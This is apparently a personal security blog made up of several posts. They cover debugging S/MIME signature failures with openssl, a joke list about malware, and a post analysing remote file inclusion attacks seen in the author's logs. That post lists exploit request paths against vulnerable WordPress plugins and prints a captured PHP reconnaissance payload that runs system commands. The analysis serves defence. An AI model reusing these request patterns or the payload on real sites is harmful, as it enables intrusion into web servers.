Static in the Ether

I had an interesting question posed ot me today by Dominic who asked me to verify whether his all new Digital certificate was correctly being used for signing mail. Thunderbird sadly complained that the signature was invalid, which was unexpected, and that the issuer was unknown ( expected since it comes form a private hierarchy.)  The question then lead to where did the problem lie?

My gut feel was that it was the disclaimer being inserted by an intermediary gateway ( one has to love corpmail).  Setting about proving this was the hard part.  The first issue at hand wa to actually extract the certificates so I could play with the verification.  Cert Viewer Plus for Thunderbird made this part a dream. Creating a modified version of the signed message was a little bit more problematic.

Trusting the command line, I started hunting around for details on openssl support for SMIME, which it has.  OPenSSL needs a full CA path for being able to verify SMIME signed messages. One can optain this from various places ( such as exporting form your browser) but in a case like this where a private hierarchy was being used, its enough to just make used of a somewhat smaller subset contianing only the certificates used in this chain.  These can be extracted using Cert Viewer Plus. Alternately some command line magic can be used to extract the PKCS7 formatted embedded certificates out in standard PEM format., using the following command:

openssl smime -pk7out -in mail.txt | \
        openssl pkcs7 -print_certs > extract.crt

Now that we have a certificate chain we can attempt the verify. The extract.crt below can be either from the openssl method above or the Cert Viewer plus PEM dump.

openssl smime -CAfile extract.crt -verify -in mail.txt

Now e actually have a more usable error message. Although I really don’t know why I have such a deep distrust in GUI apps for actually telling me what is wrong.

Verification failure
88175:error:21071065:PKCS7 routines:PKCS7_signatureVerify:digest failure:/usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/pkcs7/pk7_doit.c:808:
88175:error:21075069:PKCS7 routines:PKCS7_verify:signature failure:/usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/pkcs7/pk7_smime.c:265:

As suspected the digest filed, which lead to a overall signature failure.  The next step was to see if removing the disclaimer worked.  Repeating on a slightly edited version of the the mail gave the following:

openssl smime -CAfile extract.crt -verify -in mail2.txt
...
mail contents deleted
...
Verification successful

So the original question posed was if the signature system was working correctly which it now was. The differences between the two mail files was checked using diff

diff -u mail.txt  mail2.txt
--- mail.txt         Mon Aug 25 18:06:33 2008
+++ mail2.txt      Mon Aug 25 18:08:10 2008
@@ -61,10 +61,6 @@
    South Africa

-Important Notice: This email is subject to important restrictions, qualifications
 and disclaimers ("the Disclaimer") ..that all was one very long line that made
 up the corporate disclaimer.....
-
-
-
 ------=_NextPart_000_0048_01C906C7.DB6FB700
 Content-Type: application/x-pkcs7-signature;
        name="smime.p7s"

From the above the only difference shown is that a mailgateway had added in a extra four lines of disclaimer and whitespace padding.  The question now evolves as to how to provide the now pretty much ubiquitious organisational disclaimer in outgoing mail in such a way that it doesnt trash any cryptographic operations in which the mail is involved.  Ive gone back over mails from a  couple of other people in corporate South Africa that I know , and the problem seems to be widespread.

The solution may be that the disclaimer as such is encapsulated as a separeate mime component, which is what interestingly one university here does ( although it insists on prepending its mime encapsulated HTML disclaimer, which makes for relaly ugly mail reading!)

While doing some reading this evening in preparation for my Postgrad Infosec course next week I came across the following pearls of wisdom from Taylor Banks

1. Admit that you are powerless over bots.
2. Believe that a power greater than yourself exists and is necessary to identify and eliminate malware, botnets, and the Windows hosts that contain them.
3. Make a decision to turn your will and your life over to ShadowServer, Malfease or another similar volunteer effort.
4. Make a searching and fearless inventory of your Windows machines.
5. Admit to another security expert that you [have/do] run Windows.
6. Demonstrate readiness to remove Windows from your PC.
7. Humbly ask other experts to remove Windows from your machine.
8. Make a list of all other machines you’ve infected.
9. Make amends to those infected, i.e. with Mac OS, Ubuntu, FreeBSD or similar.
10. Continue to inventory remaining Windows hosts, and when infected, format & re-install.
11. Seek through prayer, meditation and continuing malware research to improve your understanding of the growing malware threat as we know it.
12. Having had a spiritual awakening, carry this message to other Windows users.

What I found interesting despite the obvious humour, is that it left me wondering as to just now many of the 19 million connects form the last 3 years I was processing earlier are actually from enslaved bots or zombies…

Following form my earlier post regarding a pre-compiled bibTeX database of all Internet RFCs, I discovered while browsing the CTAN archives that Richard Mortier wrote a awk script back in 2000 while at Cambridge Computing Lab, that does something similar. For purists who don’t trust this new fangled XML and XSLT stuff its available at:

http://www.ctan.org/tex-archive/biblio/bibtex/utils/misc/rfc2bib.awk

Or other CTAN mirrors closer to you.

The other day morning stated out with a conversation with darb that went as follows:

DARB: so…wordpress hey?
BVI: I got over writing my own code
BVI: now I’m waiting for my blog to be 0wn3d
DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables when he tries to sit down, and needs 20kg of food every day…and offers little or no protection on the side entrance to your establishment?
BVI: exactly!
DARB: lolz
BVI: mine has a spiked collar and a beware of the ogre sign :-)
DARB: that only scares away legitimate users…bandits read that sign as “come on in, we left the side door open”
BVI: yeah
DARB: I love wordpress docs and plugins
DARB: “just chown your /tmp file, and then chmod 777 everything”

Well not 20 minutes later I noticed a number of Remote file inclusion attacks coming in. Nothing like the ogre having sent out an invite to all and sundry. Attacks were coming looking as follows:

• /blog/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/archives/5/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/archives/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/?flav=rss/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /blog/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /blog/archives/14/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
• /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
• /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo

In the above the actual path for the exploit codes been replaced with foo, but is of the form of http://site/somepath/tx.txt????, or similar.

Ive now seen this form over eighty different systems. The include file seems to vary ( see below) but the same plugins are being targeted. No real surprise as they have been known exploitable for a while.

• myflash < v1.1 01 May 2007 ISS-XForce
• wordtube < 1.43 01 May 2007 ISS X-Force
• mygallery ≤ v 1.2.1 29 April 2007 ISS-X-force FRsirt

All the requests were may using libwww-perl/5.810, so most likely come from compromised unix systems. the payload file being referred to has been removed, but I found some others, which are no doubt similar. The algorithm being used for the brute forcing is rather dumb. of the entries listed above, only two relate to viable targets for my given install. I found the request for “blog/?flav=rss/….” rather amusing. Another interesting observation is the number of requests centered around http://lair.moria.org/blog/archives/14 my post relating to Windows XP failing to hibernate. I have yet to see hits on any other particular posts.

Looking at the payload code form some of the other similar attacks, I found the following one interesting, as a more human driven recon script providing information for making a value judgment on the target site rather than an automated assault. (When will these people learn that StudlyCaps isn’t really that cool )

echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo “os: $os<br>”;
echo “uname -a: $alb<br>”;
echo “uptime: $alb2<br>”;
echo “id: $alb3<br>”;
echo “pwd: $alb4<br>”;
echo “user: $alb9<br>”;
echo “phpv: $alb6<br>”;
echo “SoftWare: $alb5<br>”;
echo “ServerName: $alb7<br>”;
echo “ServerAddr: $alb8<br>”;
echo “NigeriaN HackerS TeaM<br>”;

Others are not quite so benign, providing command shells, and in some cases drive by exploits using a number of different tools to try download further payloads onto the system or upload password files, webserver configurations and other sensitive information. c99madscript.php really seems to be the flavour of the month with these, although it has been around a while.

What all these attempts that Ive seen do have in common are the trailing “???” or “?????” irrespective of the payload contents of filename. The purpose of these to me is unclear, surely its a pain to type. Is it a bug ina script, or are people trying to do something else.

While processing some rather large lists of addresses as part of a side project, I needed to be able to sort them in a numerical order within a shell script. I had a file with lines like:

• 69.90.132.19
• 69.90.132.22
• 66.152.91.84
• 208.122.204.181
• 69.90.132.22
• 69.90.132.31
• 216.131.106.249
• 216.131.84.26
• 67.55.105.252
• 208.64.44.102

Standard sort using sort –n only sorts on the first octet, and although it’s a improvement on alphabetic sorting its not ideal. The solution comes in specifying a pile of switches to sort:

sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4

This gets it sorted in Numerical order, by octet, using a period (dot) as a separator between octets. Combining this with a –u flag gives one a nicely sorted, unique list of IP addresses. This could probably be extended to IPv6 without too much hastle.

After nearly two years offline, lair.moria.org is back. A couple of things have finally transpired. I have moved off the PII 400 with 128 MB of ram to some new hardware that should go belly up, and at the same time moved provider networks, which should improve reach ability and a number of other backend factors ( no more having to jump through proxies to make use of webservices).

Quite a bit of content has been preserved, and will be being loaded over the next few weeks, as and when the need for WAB, occurs while I’m writing.